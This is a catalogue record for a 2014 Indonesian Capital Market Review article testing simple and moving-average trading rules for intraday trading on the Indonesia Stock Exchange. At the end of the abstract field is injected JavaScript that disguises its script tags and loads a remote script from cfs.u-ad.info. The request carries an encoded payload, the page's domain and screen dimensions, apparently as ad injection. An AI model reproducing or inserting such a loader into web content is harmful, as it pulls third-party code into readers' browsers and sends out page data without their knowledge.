Does Moving Average Technical Trading Rule Provide Value for Intraday Stock Trading?: Evidence from the Indonesia Stock Exchange

Does Moving Average Technical Trading Rule Provide Value for Intraday Stock Trading?: Evidence from the Indonesia Stock Exchange

This paper analyzes the value of employing simple moving average (SMA) and moving average (MA) technical trading rules for intraday stock trading in the Indonesia Stock Exchange. We test independently SMA[5], SMA[10], SMA[15], MA[5,50], MA[5,150], and MA[5,200] trading rules. We fin...

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Bibliographic Details
Main Authors: Ario Harsanto, Irwan Adi Ekaputra
Format: Article
Language:English
Published: Universitas Indonesia 2014-08-01
Series:Indonesian Capital Market Review
Online Access:http://journal.ui.ac.id/index.php/icmr/article/view/3619
Description
Summary:This paper analyzes the value of employing simple moving average (SMA) and moving average&nbsp;(MA) technical trading rules for intraday stock trading in the Indonesia Stock Exchange. We test independently SMA[5], SMA[10], SMA[15], MA[5,50], MA[5,150], and MA[5,200] trading rules. We&nbsp;find all three SMAs and MA[5,200] tend to deliver returns greater than the unconditional basic return&nbsp;(UBR), while MA[5,50] and MA[5,150] generate returns less than UBR. We conclude that SMAs are&nbsp;more valuable than MAs as intraday technical trading rules.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>
ISSN:1979-8997
2356-3818

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